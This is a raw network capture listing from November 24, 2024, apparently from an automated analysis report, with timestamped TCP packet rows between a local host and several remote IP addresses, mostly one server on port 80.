Nov 24, 2024 04:20:46.034303904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.034313917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.034482956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.035708904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.035777092 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.035801888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.035839081 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.037256956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.037309885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.037380934 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.038737059 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.038853884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.038927078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.040437937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.040467978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.040493965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.040520906 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.041747093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.041851997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.041896105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.041939974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.043230057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.043298006 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.043344975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.043390036 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.044759035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.044826984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.044862986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.044939995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.046260118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.046297073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.046329021 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.046355963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.047801018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.047911882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.047921896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.047977924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.049289942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.049464941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.049530983 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.050529957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.050765991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.050971031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.051039934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.051080942 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.052269936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.052361965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.052397013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.052491903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.053778887 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.053845882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.053946018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.054142952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.055280924 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.055346966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.055392981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.055445910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.056924105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.057033062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.057095051 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.058281898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.058352947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.058403969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.058512926 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.059811115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.059885979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.059922934 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.059952021 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.061302900 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.061408997 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.061446905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.061474085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.062841892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.062910080 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.062937975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.063008070 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.064333916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.064402103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.064456940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.064625025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.065836906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.065875053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.065892935 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.065956116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.067373991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.067605972 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.067658901 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.067698956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.068893909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.068963051 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.069034100 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.070368052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.070441008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.070487022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.070538998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.071923971 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.072094917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.072155952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.073373079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.073446989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.073540926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.073707104 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.074891090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.074994087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.075062037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.076380968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.076468945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.076519012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.076642990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.077887058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.077960968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.078008890 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.078072071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.079395056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.079507113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.079545975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.079580069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.094746113 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:46.094815016 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:46.094894886 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:46.094976902 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:46.095046997 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:46.095123053 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:46.095268965 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:46.095284939 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:46.095549107 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:46.095622063 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:46.125760078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.125787973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.125864983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.125864983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.127743959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.128029108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.128717899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.128787994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.128802061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.128856897 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.152218103 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:46.152316093 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:46.152450085 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:46.152724981 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:46.152756929 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:46.191880941 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:46.191932917 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:46.192137957 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:46.193414927 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:46.193434954 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:46.193861961 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:46.193919897 CET	443	49889	20.110.205.119	192.168.2.6
Nov 24, 2024 04:20:46.193993092 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:46.194920063 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:46.194936037 CET	443	49889	20.110.205.119	192.168.2.6
Nov 24, 2024 04:20:46.215827942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.215851068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.215886116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.215919971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.216306925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.216355085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.216572046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.216723919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.216763020 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.217897892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.217962027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.218003035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.218043089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.219228983 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.219280005 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.219338894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.219378948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.220580101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.220638990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.220722914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.220727921 CET	443	49869	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.220784903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.221887112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.222013950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.222064018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.223239899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.223366022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.223409891 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.223438978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.224253893 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.224277020 CET	443	49869	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.224601030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.224651098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.224690914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.224739075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.225367069 CET	443	49869	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.225444078 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.225954056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.226001978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.226124048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.226169109 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.226623058 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.226692915 CET	443	49869	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.227219105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.227351904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.227397919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.228562117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.228607893 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.228656054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.228760958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.229891062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.229958057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.230079889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.230221987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.231242895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.231295109 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.231342077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.231403112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.232552052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.232599974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.232654095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.232731104 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.233889103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.233961105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.233998060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.234036922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.235234976 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.235286951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.235332966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.235373974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.236607075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.236660004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.236803055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.236844063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.237890005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.238101006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.238156080 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.239222050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.239278078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.239326000 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.239393950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.240557909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.240659952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.240737915 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.240876913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.241868019 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.241933107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.241965055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.242003918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.243182898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.243238926 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.243294954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.243331909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.244559050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.244609118 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.244649887 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.244699955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.245866060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.245935917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.245975018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.246026993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.247190952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.247256041 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.247328043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.247384071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.248538971 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.248584986 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.248624086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.248707056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.249345064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.249460936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.249511003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.250132084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.250179052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.250245094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.250293970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.250986099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.251035929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.251084089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.251126051 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.251755953 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.251806021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.251859903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.251909018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.252033949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.252405882 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.252443075 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.252610922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.252665997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.252722025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.252767086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.252789974 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.253133059 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:46.253195047 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:46.253434896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.253649950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.253690958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.253701925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.254256010 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.254323006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.254328012 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.254374027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.255065918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.255124092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.255176067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.255223036 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.255878925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.255944967 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.255959034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.256220102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.256742954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.256795883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.256814003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.256855965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.257530928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.257633924 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.257675886 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.258342981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.258388042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.258426905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.258466005 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.259167910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.259217978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.259289980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.259347916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.259999990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.260039091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.260047913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.260077953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.260811090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.260869026 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.260915041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.260989904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.261620998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.261679888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.261768103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.261805058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.262429953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.262501001 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.262550116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.263423920 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.263441086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.263483047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.263499022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.264080048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.264213085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:46.264234066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:46.264250994 CET	49835	80	192.168.2.6	185.215.113.206
